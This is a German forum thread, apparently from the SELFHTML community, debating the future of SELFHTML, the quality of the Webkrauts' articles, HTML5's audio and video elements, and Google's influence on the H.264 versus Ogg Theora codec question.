            Das hab' ich auch nicht behauptet - nur irgendwann muss man anfangen - der für mich logische schritt ist: Inhalte so wie sie jetzt sind in ein Wiki übertragen und dann daran herumbauen.

            CSS3 lässt sich z.B. relativ nahtlos in die bestehende CSS-Doku einarbeiten.

          2. Das Kapitel über DHTML sollte rausfliegen und durch ein Kapitel für zusammenhängende Beispiele "Webanwendungen mit HTML5" ersetzt werden. Perl würde ich auch komplett rausschmeißen. Eventuell sogar die komplette Serverseite - mit Ausnahme von kontextabhängigen Beispielen, etwa bei Ajax.

            100% ACK

            Stattdessen würde ich die "technischen Ergänzungen" weiter ausbauen um diverse Referenzinformationen. z.B. um eine Referenz der HTTP-Request-Felder, und vieles, vieles mehr.

            Danke Dir :-)
            Das entspricht ziemlich genau meiner Denke bezüglich anderer/besserer Quellen zu ergänzender Peripherie für fortgeschrittene/professionelle Webseiten.

            OK - ich rede zu viel ... :-)

            Nein nein, die Meinung des Urvaters solltest immer einen Platz in Diskussionen dieser Art haben.

    3. Es wäre noch besser, wenn eine solche offene Diskussion über die Zukunft von SELFHTML dann auch tatsächlich zustande käme. Vielleicht wären inhaltlich aktivere Gruppen wie etwa die Webkrauts bereit, die Weiterentwicklung von SELFHTML zu übernehmen und in ihr eigenes Konzept zu integrieren.

      Um offen zu sein, die Webkrauts sind eine Katastrophe - wie man hier in Österreich sagen würde "Da sind ein paar Hirschen dabei", das geht garnicht.

      Bei den Webkrauts liest man das, was man vor 2 Jahren bei ALA lesen konnte einfach nochmal - gepaart mit Ansichten, die teilweise bar jeder Vernunft liegen.

      Was HTML und CSS betrifft, ist in deutscher Sprache glaube ich die Einführung von Michael Jendryschik die aktuellste und gründlichste:
      Einführung in XHTML, CSS und Webdesign.

      ACK.

      1. Hi,

        Um offen zu sein, die Webkrauts sind eine Katastrophe

        Hast du auch Argumente?

        Bei den Webkrauts liest man das, was man vor 2 Jahren bei ALA lesen konnte einfach nochmal

        Wie gehts besser? Wo ist dein Weblog, wo du regelmäßig deutschsprachig über Webentwicklung und Best Practises bloggst - und vor allem völlig neue Themen behandelst, über die noch niemand zuvor geschrieben hat?

        gepaart mit Ansichten, die teilweise bar jeder Vernunft liegen.

        Aha. Wo genau kann ich deine Kritik finden?

        MfG,
        Mof

        1. Hi,

          Um offen zu sein, die Webkrauts sind eine Katastrophe

          Hast du auch Argumente?

          Natürlich während 24ways nützliche Ausblicke bietet und ALA praxisorientiere Dinge anbietet, wärmen die Webkrauts mit dem Konzept von 24ways die Inhalte von ALA wieder auf und liefern dann noch so tolle Artikel wie  "Alternativen zum Photoshop" wo grade mal 2 "Alternativen" genannt werden. Etwas dünn, wenn man die Länge des Artikels ansieht - was ist z.B. mit Fireworks? Zudem beschränken sich die Webkrauts viel zu sehr auf theoretische "drumherum"-Dinge und Blah-Blah. Der technische Kern (webstandards) wird nur sehr dünn beschrieben.

          Wie gehts besser? Wo ist dein Weblog, wo du regelmäßig deutschsprachig über Webentwicklung und Best Practises bloggst

          Keine Zeit, ich bin in einem anderen Bereich (eher praktisch) tätig.

          • und vor allem völlig neue Themen behandelst, über die noch niemand zuvor geschrieben hat?

          Das machen die Webkrauts ebenfalls nicht, wäre aber ein Ansatzpunkt, ja.

          gepaart mit Ansichten, die teilweise bar jeder Vernunft liegen.

          Aha. Wo genau kann ich deine Kritik finden?

          Sollte ich wohl mal irgendwo zusammenfassen - aber gelegentlich hilft es, die Kommentare bei manchen Webkrauts-Artikeln zu lesen.

          1. Hi,

            wärmen die Webkrauts mit dem Konzept von 24ways die Inhalte von ALA wieder auf

            Wenn man mit einer Originalitätsforderung an Webmagazine herangeht, wird man bei ungefähr 95% nicht das Erwartete finden. Selfhtml hat auch nie das Rad neu erfunden, sondern bestehendes Wissen aufgeschrieben und aufbereitet. Wo ist dabei das Problem? Keines.

            „Aufwärmen“ klingt so negativ. Einmal gewonnenes Wissen am Köcheln zu halten und in Erinnerung zu rufen - das ist einfach notwendig. Ja, auch Zeldman-Artikel von 2001 sind immer noch lesenswert. Wenn dir persönlich die Artikel nicht Neues bringen, sind sie deshalb nicht unbrauchbar.

            und liefern dann noch so tolle Artikel wie  "Alternativen zum Photoshop" wo grade mal 2 "Alternativen" genannt werden. Etwas dünn, wenn man die Länge des Artikels ansieht

            Was verstehst du an dem Textformat „Tipps und Tricks“ nicht, welches der letztjährige Adventskalender verwendete?

            Zudem beschränken sich die Webkrauts viel zu sehr auf theoretische "drumherum"-Dinge und Blah-Blah. Der technische Kern (webstandards) wird nur sehr dünn beschrieben.

            Was sind denn theoretische „Drumherumdinge“?

            • und vor allem völlig neue Themen behandelst, über die noch niemand zuvor geschrieben hat?

            Das machen die Webkrauts ebenfalls nicht, wäre aber ein Ansatzpunkt, ja.

            Die Webkrauts wollen Best Practises verbreiten und etablieren. „Original Research“ machen auch einige (z.B. YAML von Dirk Jesse, WCAG2-Übersetzungen u.a. von Tomas Caspers), aber Webstandards-Evangelismus ist nunmal das Wiederholen von grundlegenden Konzepten und das Weitertragen von neuen Techniken wie HTML5.

            gelegentlich hilft es, die Kommentare bei manchen Webkrauts-Artikeln zu lesen.

            Niemand hat die Weisheit mit Löffeln gefressen - und Weblog-Kommentare sind genau dazu da, Ergänzungen und Korrekturen zu posten. Ich sehe da kein Problem.

            MfG, Mof

            1. „Aufwärmen“ klingt so negativ. Einmal gewonnenes Wissen am Köcheln zu halten und in Erinnerung zu rufen - das ist einfach notwendig. Ja, auch Zeldman-Artikel von 2001 sind immer noch lesenswert. Wenn dir persönlich die Artikel nicht Neues bringen, sind sie deshalb nicht unbrauchbar.

              Das nicht, aber man schmückt sich mit fremden Federn und liefert keine weiterführenden Informationen - besonders bei Artikel wie CSS-Sprites ist das traurig. Einige Webkrauts haben das Internet nicht verstanden, ein integraler bestandteil des Internets ist es, extern und intern zu verlinken und weiterführende Informationen zu bieten. Das verabsäumen die Webkrauts permanent und professionell - für eine Gruppe, die sich für "mehr Qualität im Web" einsetzt, ist das ein Arumtszeugnis - das hat jeder Blogger der keine Ahnung von Webentwicklung hat besser drauf.

              Was verstehst du an dem Textformat „Tipps und Tricks“ nicht [...]

              Nichts, es geht imho aber in die falsche Richtung, in den einzelnen Artikeln wird alles mehr als Oberflächlich behandelt.

              Was sind denn theoretische „Drumherumdinge“?

              Wieder als Beispiel die CSS-Sprites - da wird theoretisch umrissen, um was es geht - praktische Beispiele finden sich keine, Links auf praktische Beispiele gibt es nicht. Zudem wird beinhart das Sprite von Google vorgeführt (als Kopie). Markenrechte oder das Urheberrechte scheinen dort noch nicht so verbreitet zu sein - soetwas "vorzumachen" ist Katastrophal.

              Die Webkrauts wollen Best Practises verbreiten und etablieren. „Original Research“ machen auch einige (z.B. YAML von Dirk Jesse, WCAG2-Übersetzungen u.a. von Tomas Caspers), aber Webstandards-Evangelismus ist nunmal das Wiederholen von grundlegenden Konzepten und das Weitertragen von neuen Techniken wie HTML5.

              Ja, das schreien was andere sagen und das schön uniform im Tenor - meine Meinung zu YAML und HTML5 ist hinlänglich bekannt, das lassen wir jetzt - aber von jemandem der sich für Webstandards einsetzt, sollte immer alle Seiten unabhängig beleuchten, das tun die Webkrauts nicht, die brüllen nur das nach, was Hixie (respektive Google) vorlabert.

              Niemand hat die Weisheit mit Löffeln gefressen - und Weblog-Kommentare sind genau dazu da, Ergänzungen und Korrekturen zu posten. Ich sehe da kein Problem.

              Doch, genau da sehe ich ein Problem - die wenigsten sind Medienkompetent genug um sich mehrerlei Meinungen einzuholen - Kommentare werden ohnehin nicht gelesen und wenns keine externen Links gibt, ist es schon essig mit der alternativen Sichtweise oder Ergänzungen und Weiterführenden Informationen.

              1. man schmückt sich mit fremden Federn

                Wo bitte schmückt man sich mit fremden Federn?

                und liefert keine weiterführenden Informationen - besonders bei Artikel wie CSS-Sprites ist das traurig.

                Es gab bei den Webkrauts schon viele, auch tiefergehende Artikel zu diesem Thema.

                Einige Webkrauts haben das Internet nicht verstanden

                Es ist echt zum Schießen, zu was für arroganten und gleichzeitig substanzlosen Aussagen du dich hinreißen lässt.

                ein integraler bestandteil des Internets ist es, extern und intern zu verlinken und weiterführende Informationen zu bieten. Das verabsäumen die Webkrauts permanent und professionell

                Was für ein Quatsch. Lies doch einfach mal deren Weblogs, da werden ständig Links gepostet und bei eigenen Artikeln Quellen angegeben. Das gilt auch für den Adventskalender. Und wenn du den Eindruck hast, dass das im Einzelfall nicht geschieht, dann äußere dich halt konkret.

                Zudem wird beinhart das Sprite von Google vorgeführt (als Kopie). Markenrechte oder das Urheberrechte scheinen dort noch nicht so verbreitet zu sein - soetwas "vorzumachen" ist Katastrophal.

                Ich halte das für rechtlich unbedenklich (Zitat). Oder inwiefern siehst du da ein Missbrauch? Diese Sprites sind gute Beispiele. Wo ist das Problem, wenn man sie zu Demonstrationszwecken bereitstellt? Es wird doch klar, woher sie kommen.

                Ja, das schreien was andere sagen und das schön uniform im Tenor

                Wenn du eine dissidente Meinung hast, so veröffentliche sie doch, anstatt bloß schwere rhetorische Geschütze aufzufahren und dich zu beschweren, wie unglaublich einseitig andere vermeintlich schreiben.

                eine Meinung zu YAML und HTML5 ist hinlänglich bekannt

                Mir und vermutlich dem großen Rest der Welt nicht, also, siehe oben, schreibe sie auf und publiziere sie, damit sie Gehör findet und diskutiert werden kann.

                von jemandem der sich für Webstandards einsetzt, sollte immer alle Seiten unabhängig beleuchten, das tun die Webkrauts nicht, die brüllen nur das nach, was Hixie (respektive Google) vorlabert.

                Es gibt eine entstehende Spezifikation. Und um darüber zu berichten, dessen Techniken zu dokumentieren und sie in der Praxis anzuwenden, dazu muss man sich nicht vorher dadurch qualifizieren, dass man zu dessen Erarbeitung kritisch beiträgt. Das ist wohl jedem selbst überlassen.

                die wenigsten sind Medienkompetent genug um sich mehrerlei Meinungen einzuholen - Kommentare werden ohnehin nicht gelesen

                Niemand kann alle Sichtweisen darstellen und das kann man auch von keinem Artikel verlangen. Mehr als eine Plattform bereitstellen, wo jeder Ergänzungen posten kann, kann man nicht. Sorry, was ist dein Kritikpunkt?

                P.S. Es ist mir egal, was du von den Webkrauts hältst, und es ist nicht meine Aufgabe, die zu verteidigen. Wie tot Selfhtml ist, zeigt sich auch an manchen Hiesigen, die gegen andere Engagierte polemisieren, anscheinend ohne selbst eine klügere Idee zu publizieren.

                MfG, Mof

                1. Hi Mof!

                  Ich will mich nicht in euer "Streitgespräch" einmischen, aber dennoch möchte ich kurz meine Sicht zu einigen Punkten anmerken.

                  ein integraler bestandteil des Internets ist es, extern und intern zu verlinken und weiterführende Informationen zu bieten. Das verabsäumen die Webkrauts permanent und professionell

                  Was für ein Quatsch. Lies doch einfach mal deren Weblogs,

                  Was für einen Sinn macht die Seite webkrauts.de, wenn ich für weiterführende Infos jedes Mal erst noch das Weblog des jeweiligen Autors aufsuchen muss?

                  da werden ständig Links gepostet und bei eigenen Artikeln Quellen angegeben.

                  Das ist sehr stark vom jeweiligen Artikel (und dessen Autor) abhängig. In einer Vielzahl der Fälle vermisse ich eher entsprechende Links.

                  Diese Sprites sind gute Beispiele.

                  ... wie man zukünftige Verwender im Regen stehen lassen kann!
                  Denn es findet sich gerade mal ein einziger Satz zur Verwendung dieser Technik:"Diese wird dann mit der CSS-Eigenschaft background-position  an die gewünschte Position »verschoben«."
                  Von den Problemen dieser Technik bei relativen Größenangaben für die jeweiligen Elemente mal ganz abgesehen.

                  Ja, das schreien was andere sagen und das schön uniform im Tenor

                  Wenn du eine dissidente Meinung hast, so veröffentliche sie doch,

                  tue ich ...

                  eine Meinung zu YAML und HTML5 ist hinlänglich bekannt

                  Mir und vermutlich dem großen Rest der Welt nicht, also, siehe oben, schreibe sie auf und publiziere sie, damit sie Gehör findet und diskutiert werden kann.

                  auch das habe ich in Form von Kommentaren zu den jeweiligen Artikeln schon des öfteren gemacht ...

                  von jemandem der sich für Webstandards einsetzt, sollte immer alle Seiten unabhängig beleuchten, das tun die Webkrauts nicht, die brüllen nur das nach, was Hixie (respektive Google) vorlabert.

                  Es gibt eine entstehende Spezifikation. Und um darüber zu berichten, dessen Techniken zu dokumentieren und sie in der Praxis anzuwenden, dazu muss man sich nicht vorher dadurch qualifizieren, dass man zu dessen Erarbeitung kritisch beiträgt. Das ist wohl jedem selbst überlassen.

                  Sehe ich anders.
                  Das reine Vorhandensein einer Spezifikation sagt rein gar nichts über deren Sinn und ihrer praktischen Anwendung/ Umsetzung aus. Insbesondere Letzteres bedarf imho der Betrachtung von beiden Seiten.
                  Im übrigen habe ich auch in fast allen Fällen den Eindruck gewonnen, dass "kritische" Kommentare alles andere als gern gesehen sind. Anstatt einer ordentlichen Diskussion gibt es wenn überhaupt eher Antworten mit denen die vorgebrachte Kritik als unbegründet abgetan wird.

                  die wenigsten sind Medienkompetent genug um sich mehrerlei Meinungen einzuholen

                  Wozu sie durch "einseitige" Berichterstattung ja auch in keinster Weise veranlasst werden.

                  P.S. Es ist mir egal, was du von den Webkrauts hältst,

                  Ja, mir auch btw.

                  Gruß Gunther

                  1. Hi,

                    Was für einen Sinn macht die Seite webkrauts.de, wenn ich für weiterführende Infos jedes Mal erst noch das Weblog des jeweiligen Autors aufsuchen muss?

                    Sagt doch niemand. Es ging um die Pauschalaussage „DIE Webkrauts“.

                    Das reine Vorhandensein einer Spezifikation sagt rein gar nichts über deren Sinn und ihrer praktischen Anwendung/ Umsetzung aus. Insbesondere Letzteres bedarf imho der Betrachtung von beiden Seiten.

                    Okay. Wo kann ich eine solche Betrachtung finden, die ausgewogen ist? Wo finde ich Texte, die sich mit den ominösen beiden Seiten auseinandersetzen und daraus Konsequenzen für die praktische Anwendung ziehen? Werdet doch mal konkret. Ihr redet von Einseitigkeit und beschreibt weder die eine noch die andere Seite inhaltlich. Was „labert“ Hixie denn „vor“ und was wird „nachgebrüllt“ und wie sollte es eurer Meinung nach anders aussehen?

                    Im übrigen habe ich auch in fast allen Fällen den Eindruck gewonnen, dass "kritische" Kommentare alles andere als gern gesehen sind. Anstatt einer ordentlichen Diskussion gibt es wenn überhaupt eher Antworten mit denen die vorgebrachte Kritik als unbegründet abgetan wird.

                    Vielleicht ist sie es und daher den Eindruck. >;-)

                    MfG, Mof

                    1. Hi,

                      Was für einen Sinn macht die Seite webkrauts.de, wenn ich für weiterführende Infos jedes Mal erst noch das Weblog des jeweiligen Autors aufsuchen muss?

                      Sagt doch niemand. Es ging um die Pauschalaussage „DIE Webkrauts“.

                      Das ist umgangssprachlich - wie in "Die wissen Bescheid." - "Wer sind _die_?" - "Du weisst schon: die!" :p

                      Ich halte z.B. sehr viel von Michael Jendryschik - der Mann ist kompetent und scheint vernünftig zu sein - aber Ausnahmen bestätigen die Regel.

                      Okay. Wo kann ich eine solche Betrachtung finden, die ausgewogen ist?

                      Beispiel: http://xhtml.com/en/future/x-html-5-versus-xhtml-2/

                      Was „labert“ Hixie denn „vor“ und was wird „nachgebrüllt“ und wie sollte es eurer Meinung nach anders aussehen?

                      Ich wollte es eigentlich nicht breittreten, aber gut:

                      Beispiel gefällig: Hixie setzt sich für Webstandards ein: Trennung von Präsentation und Inhalt ist wichtig. Andererseits gibts in HTML5 das audio und das video-Element. Ist nun ein Video nur ein Standbild zu sehen ist und im Hintergrund ein Musiktitel läuft Audio oder Video? Das object-Element wäre geeignet gewesen, es gab zig Diskussionen die mit irgendwelchen unsinnigen Argumenten von der WHATWG abgelehnt wurden - viele Beiträge in deren Forum wurden sogar kommentarlos gelöscht[sic!].

                      Auch die Superfriends haben Bedenken geäußert: http://www.zeldman.com/superfriends/guide/ - das hält die Mozilla Corporation aber keineswegs davon ab, HTML5 zu implementieren obwohl die Sache noch nichtmal ausdiskutiert ist. Google (der arbeitgeber von Hixie) stellt nun Youtube auf HTML5 mit H.264 um. auf Ogg/Theora wird verzichtet, hingegen will man den Firefox-Entwicklern "helfen" dass die H.264 auch in den Firefox kommt. Hallo? Das ist ein Todesstoß für Freie Software die sich lizenzen für derartige Codecs nicht leisten können, wollen oder dürfen. Aber das ist natürlich egal - der Firefox bekommt jährlich mehrere Millionen Dollar von Google in den Arsch geblasen, da ist das kein Problem.

                      HTML5 ist ein einziger kommerzverseuchter, googlegesteuerter Sumpf. Die wollen doch gar keine Webstandards - die wollen das jeder Webseiten erstellen kann und es Trotzdem passt - hauptsache Google kann es irgendwie indizieren.

                      Jemand der sich "ich trete für Webstandards" aufs Hirn klebt und sich gleichzeigt 100%ig pro-HTML5 stimmt, ist ein Heuchler.

                      1. Hi,

                        Beispiel: http://xhtml.com/en/future/x-html-5-versus-xhtml-2/

                        Das Thema dort ist „HTML5 versus XHTML2“ und dann werden einzelne Elemente und Elementstrukturen einer Kritik unterzogen. Gut, auch innerhalb der HTML5-Entwicklung wird das heiß diskutiert, siehe Superfriends. Nun vergleicht der Artikel auf einer unpassenden Ebene. XHTML 2 ist keine gleichwertige brauchbare Alternative zu HTML5. XHTML 2 ist tot und es gibt keine Implementierungen. Es spielte auch nie auf einer Ebene wie HTML5, sondern war ein komplett neues Format, das nicht das bestehende HTML verbessern sollte.

                        Andererseits gibts in HTML5 das audio und das video-Element.

                        Welche sich schon als erfolgreicher und brauchbarer erwiesen haben als <object>. Wo ist nun das Problem?

                        Ist nun ein Video nur ein Standbild zu sehen ist und im Hintergrund ein Musiktitel läuft Audio oder Video?

                        Den Satz verstehe ich nicht.

                        Das object-Element wäre geeignet gewesen, es gab zig Diskussionen die mit irgendwelchen unsinnigen Argumenten von der WHATWG abgelehnt wurden

                        Was ist das genaue Problem? <audio> und <video> sind gut geeignet, wie man bereits an der breiten Implementierung und Nutzung sieht. Sorry, ist das nicht rechthaberisch und kleinkrämerisch, jetzt im Konjunktiv zu reden, was besser hätte geschehen müssen, anstatt konkrete Kritik vorzunehmen? Ehrlich gesagt interessiert mich das nicht und ich glaube auch wenige andere.

                        viele Beiträge in deren Forum wurden sogar kommentarlos gelöscht[sic!].

                        Die WHATWG hat meines Wissens keine Foren, sondern Mailinglisten.

                        Auch die Superfriends haben Bedenken geäußert: http://www.zeldman.com/superfriends/guide/

                        Sie haben Verbesserungsvorschläge geäußert, von denen meines Wissens schon einige eingepflegt wurden.

                        das hält die Mozilla Corporation aber keineswegs davon ab, HTML5 zu implementieren obwohl die Sache noch nichtmal ausdiskutiert ist.

                        HTML5 ist eine große und modulare Spezifikation. Was hat Mozilla implementiert, was noch nicht ausdiskutiert ist?

                        Google (der arbeitgeber von Hixie) stellt nun Youtube auf HTML5 mit H.264 um. auf Ogg/Theora wird verzichtet

                        Okay, was hat das mit HTML5 zu tun?
                        H.264 ist meines Wissens das Format, das Youtube auch schon in die Flash-FLVs gepackt hat. Ob Youtube auch Ogg Theora anbieten wird, ist derzeit noch unklar.

                        hingegen will man den Firefox-Entwicklern "helfen" dass die H.264 auch in den Firefox kommt.

                        Was wäre daran problematisch, dass Firefox mehr Videoformate unterstützt?

                        Das ist ein Todesstoß für Freie Software die sich lizenzen für derartige Codecs nicht leisten können, wollen oder dürfen.

                        Okay, die Konsequenz daraus wäre, Druck auf Videoanbieter wie Youtube zu machen. Findet auch schon statt, soweit ich das sehe.

                        HTML5 ist ein einziger kommerzverseuchter, googlegesteuerter Sumpf.

                        Hast du auch mehr drauf als Verschwörungstheorien?

                        MfG, Mof

                        1. Ist nun ein Video nur ein Standbild zu sehen ist und im Hintergrund ein Musiktitel läuft Audio oder Video?

                          Den Satz verstehe ich nicht.

                          Ich auch nicht :)

                          Nochmal: Stell dir ein Video vor in dem nur ein Standbild zu sehen ist - z.B. das Cover des Albums. Im Hintergrund läuft die Musik. Ist es jetzt Video oder Audio? Ein mp3 lässt auch zu, dass man das Cover-Bild einbettet.

                          Die WHATWG hat meines Wissens keine Foren, sondern Mailinglisten.

                          http://forums.whatwg.org/

                          Die Haben übrigens 23 Moderatoren auf 112 Threads - Threads gabs mal mehr, aber die unliebsamen werden regelmäßig entsorgt.

                          In der Mailing-List sieht das nicht ähnlich aus.

                          Auch die Superfriends haben Bedenken geäußert: http://www.zeldman.com/superfriends/guide/

                          Sie haben Verbesserungsvorschläge geäußert, von denen meines Wissens schon einige eingepflegt wurden.

                          Ja, das ist auch gut so, es ist aber immer noch viel zu tun - trotzem hindert es niemanden daran, HTML bereits einzusetzen und somit noch auszudiskutierende Dinge bereits einzusetzen.

                          Was hat Mozilla implementiert, was noch nicht ausdiskutiert ist?

                          Google ist das Problem, nicht die Mozilla in diesem Fall.

                          Google (der arbeitgeber von Hixie) stellt nun Youtube auf HTML5 mit H.264 um. auf Ogg/Theora wird verzichtet

                          Okay, was hat das mit HTML5 zu tun?

                          Das fragst du ernsthaft? Youtube stellt auf HTML5 um und meisselt als größte Seite die aktuell das video-Element impemetiert (und in näherer Zukunft implementiert haben wird) den defacto-Standard für den Codec in Granit.

                          H.264 ist meines Wissens das Format, das Youtube auch schon in die Flash-FLVs gepackt hat. Ob Youtube auch Ogg Theora anbieten wird, ist derzeit noch unklar.

                          Google/Youtube fordern Quasi, dass H.264 in den HTML5-Standard kommt, weil die ihre Videos nicht umcodieren wollen - so einfach ist das. Nachdem Hixie für Google arbeitet, ist das auch nicht weiter schwierig.

                          hingegen will man den Firefox-Entwicklern "helfen" dass die H.264 auch in den Firefox kommt.

                          Was wäre daran problematisch, dass Firefox mehr Videoformate unterstützt?

                          Nichts - dass HTML5 aber ein proptietäres Format in einen angeblich offenen Standard zwingt ist nicht gut.

                          Okay, die Konsequenz daraus wäre, Druck auf Videoanbieter wie Youtube zu machen. Findet auch schon statt, soweit ich das sehe.

                          Hast du auch mehr drauf als Verschwörungstheorien?

                          Verschörungstheoretiker muss man dafür keiner sein, es liegt auf der Hand:

                          Hixie arbeitet für Google.
                          Mozilla hat von Google 66.8 Millionen Dollar erhalten.
                          Google/Youtube implementiert als erster "großer" den noch-nicht-Standard und legt somit die quasi-Regeln fest.

                          Du meinst also jetzt ernsthaft, Google hätte keinen Einfluss auf die HTML5-Entwicklung?

                          "Druck auf Google ausüben" ist in diesem Kontext lächerlich, die machen aktuell was sie wollen - und jeder springt ihnen brav nach.

                          1. Ja, das ist auch gut so, es ist aber immer noch viel zu tun - trotzem hindert es niemanden daran, HTML bereits einzusetzen und somit noch auszudiskutierende Dinge bereits einzusetzen.

                            Dass HTML5 noch nicht fertig ist, sollte man natürlich immer erwähnen, wenn man den gegenwärtigen Stand der HTML5-Entwicklung beschreibt.

                            Youtube stellt auf HTML5 um und meisselt als größte Seite die aktuell das video-Element impemetiert (und in näherer Zukunft implementiert haben wird) den defacto-Standard für den Codec in Granit.

                            Wieso das denn? Youtube hindert doch nicht andere Webautoren/Sites daran, andere Codecs zu verwenden, und hindert die Browserhersteller nicht daran, Theora zu implementieren (es ist nur noch Safari/QuickTime, der Theora nicht von Haus aus kann - das wird sich hoffentlich bald ändern und davon gehe ich auch aus).

                            Da Mozilla und Opera schon oft geäußert haben, dass sie keine MPEG-Lizenzen erwerben können und wollen, bleibt der Ball bei Youtube, irgendwann Theora bereitzustellen. Ich sehe da kein unlösbares Problem.

                            Google/Youtube fordern Quasi, dass H.264 in den HTML5-Standard kommt

                            Wo fordern sie das? Sie tun es nicht. Es wurde bereits entschieden, dass der Standard kein Standard-Videoformat definiert, was unbedingt unterstützt werden muss.

                            Nachdem Hixie für Google arbeitet, ist das auch nicht weiter schwierig.

                            Das ist doch Unsinn, als könnte Hixie da einfach reinschreiben, dass eine H.264-Unterstützung erforderlich ist, wenn ein Browser <video> implementiert.

                            Du meinst also jetzt ernsthaft, Google hätte keinen Einfluss auf die HTML5-Entwicklung?

                            Wenn du einmal ohne Spekulationen („Youtube macht H.264 zum Quasi-Standard“) festhältst, welchen Einfluss Google genau ausübt, kann ich das gerne glauben.

                            MfG, Mof

                            1. Wieso das denn? Youtube hindert doch nicht andere Webautoren/Sites daran,

                              Nein, aber meinst du ernsthaft, jemand liest Spezifikationen? Die Kiddies kopieren sich den Code aus Youtube zusammen (oder den, den Youtube generiert) und gut ist. Google schert sich jetzt schon nicht um Standards den embed-Schnipsel den Youtube bisher generiert hat konnte man nirgends verwenden - es hat zwar funktioniert, valide war es aber nicht. Jetzt hat man so lange herumgebrunzt bis embed valide wurde.

                              Wenn du einmal ohne Spekulationen („Youtube macht H.264 zum Quasi-Standard“) festhältst, welchen Einfluss Google genau ausübt, kann ich das gerne glauben.

                              Die Vorbildfunktion. Google ist derart Marktdominant dass das mittlerweile gefährlich ist.

                              1. Hi,

                                Nein, aber meinst du ernsthaft, jemand liest Spezifikationen? Die Kiddies kopieren sich den Code aus Youtube zusammen (oder den, den Youtube generiert) und gut ist.

                                Ebensoviele Kiddies gucken auf SELFHTML oder jetzt eben eine neueren Quellen und kopieren von dort. HTML lebt durch Copy&Paste.

                                Google schert sich jetzt schon nicht um Standards den embed-Schnipsel den Youtube bisher generiert hat konnte man nirgends verwenden - es hat zwar funktioniert, valide war es aber nicht. Jetzt hat man so lange herumgebrunzt bis embed valide wurde.

                                Ja, das embed-Element ist Teil von HTML5. Aber überleg mal, was die Alternative wäre.
                                embed wird auf abertausenden von Webseiten eingesetzt. object wäre eine Alternative dazu, aber schonmal versucht einem „Webmaster“ dieses Problem nahezubringen. Was funktioniert wird nicht repariert.

                                Würde HTML5 das embed-Element nicht spezifizieren, hätten wir wieder das selbe Problem wie bei HTML4: Die Browserhersteller gucken voneiander ab und implementieren eine Veriation des Originals.

                                Wozu das führt haben wir die letzten 15-20 Jahre gesehen.

                                embed wird nicht spezifiziert, damit google konformes HTML abliefert. Es wird spezifiziert, weil es im Web eingesetzt wird (nicht nur von google) und ein definiertes Element an das sich die Hersteller richten besser ist als ein undefiniertes Element, das halt irgendwie magischerweise in Allen Browsern funktioniert.

                                Die Vorbildfunktion. Google ist derart Marktdominant dass das mittlerweile gefährlich ist.

                                Soweit ich weis besitzt Chromium selbst keine Abspielmöglichkeit für den geschlossenen Codec, ebenso haben sich ja Mozilla und Opera dagegen ausgesprochen.

                                Opera ist ein wichtiger Spieler im mobilen Markt, die Sache ist also noch nicht endgültig entschieden.

                                Darf ich eventuell an HD-DVD vs Blu-Ray erinnern. Alle waren davon überzeugt, dass die HD-DVD gewinnt, weil die großen Studios dieses Format verwendet haben. Gewonnen hat aber Blu-Ray.

                                Gruß, Tom

                                1. Darf ich eventuell an HD-DVD vs Blu-Ray erinnern. Alle waren davon überzeugt, dass die HD-DVD gewinnt, weil die großen Studios dieses Format verwendet haben. Gewonnen hat aber Blu-Ray.

                                  Und woran hats gelegen? An dem Marktdominanz die durch Sony vorgespielt wurde - nicht etwa weil Blu-ray die bessere Technologie wäre, nein, weil Sony mehr Geld reingepumpt hat.

                                  1. Immerhin hast du schon mal den wichtigsten Teil, von dem was ich sagen wollte, verstanden.

                                    Und woran hats gelegen? An dem Marktdominanz die durch Sony vorgespielt wurde - nicht etwa weil Blu-ray die bessere Technologie wäre, nein, weil Sony mehr Geld reingepumpt hat.

                                    Was ich sagen will ist, dass Marktdominanz nicht gleich Siegt bedeutet. Kann schon sein, dass jetzt ein streit zwischen den beiden Formaten entsteht, aber meiner Meinung nach hat Theora noch immer die besseren Karten.

                                    Ich denke diese Diskussion sollte von HTML5 separat geführt werden.

                                    1. Was ich sagen will ist, dass Marktdominanz nicht gleich Siegt bedeutet. Kann schon sein, dass jetzt ein streit zwischen den beiden Formaten entsteht, aber meiner Meinung nach hat Theora noch immer die besseren Karten.

                                      Jetzt wo der "größte Online-Videodienst aller Zeiten" praktisch vorlebt, Ogg/Theora nicht zu verwenden? ;)

                                      Diese ansichtweise ist naiv und erinnert mich jetzt irgendwie an die Halloween Documents.

                                      1. Jetzt wo der "größte Online-Videodienst aller Zeiten" praktisch vorlebt, Ogg/Theora nicht zu verwenden? ;)

                                        Youtube ist zwar groß, aber nicht die einzige Platform die Videos zeigt.

                                        Diese ansichtweise ist naiv und erinnert mich jetzt irgendwie an die Halloween Documents.

                                        Im Idealfall profitieren im moment 9,09 % des Browsermarktes (% frech von NA geklaut) von H.264, ich denke nicht, dass das naiv ist. Aber natürlich kenne auch ich nicht die zukunft.

    4. Hallo Stefan,

      ... und auch konzeptionell ist manches noch unklar ...

      Vielleicht ist die Zeit für _Self_HTML (leider?) auch einfach vorbei? Das einst anarchische und dezentrale Web, in das man seine selbst gebastelte "Homepage" eingeklinkt hat ist inzwischen etabliert und kommerzialisiert und geht wohl in die Richtung zentralerer Strukturen (ein paar wenige "Webgiganten", bei denen sich fast das ganze Geschehen abspielt). Du stehst ja fast schon sinnbildlich für diesen Wandel. Das ist nicht negativ gemeint: man könnte sagen, heute kann jeder kinderleicht im Web publizieren und SelfHTML hat sein Ziel erreicht.

      Ale×

      1. Hallo,

        ich denke da in eine ähnliche Richtung. Die Zielgruppe hat sich enorm geändert. Leute wie ich, die ein leidlich technisches Verständnis haben und auch mal was im Netz veröffentlichen wollten, griffen automatisch zu Selfhtml (ich kann echt nicht abschätzen, wie wichtig diese Zeit und Stefans Arbeit für meinen Weg war) - aber heute wäre das bei vielen aus der damaligen Zielgruppe ein falscher Weg.

        Ich habe keine Ahnung, was hinter den Kulissen gearbeitet wird, deswegen denke ich folgendes nur ganz ganz leise und im stillen Kämmerlein, also hier ;-): ich hoffe, man hat diese Zielgruppenänderung auch mit berücksichtigt beim Konzept und der Idee, das alles weiter zu tragen.

        Chräcker

      2. Hafa adai!

        Vielleicht ist die Zeit für _Self_HTML (leider?) auch einfach vorbei? Das einst anarchische und dezentrale Web, in das man seine selbst gebastelte "Homepage" eingeklinkt hat ist inzwischen etabliert und kommerzialisiert

        Ein großer Teil, ja. Aber ein Teil bleibt auch immer anarchisch und dezentral – die kommerziellen Anbieter können diesen Teil ja nicht abschaffen, sondern ihm nur Marktanteile abnehmen.
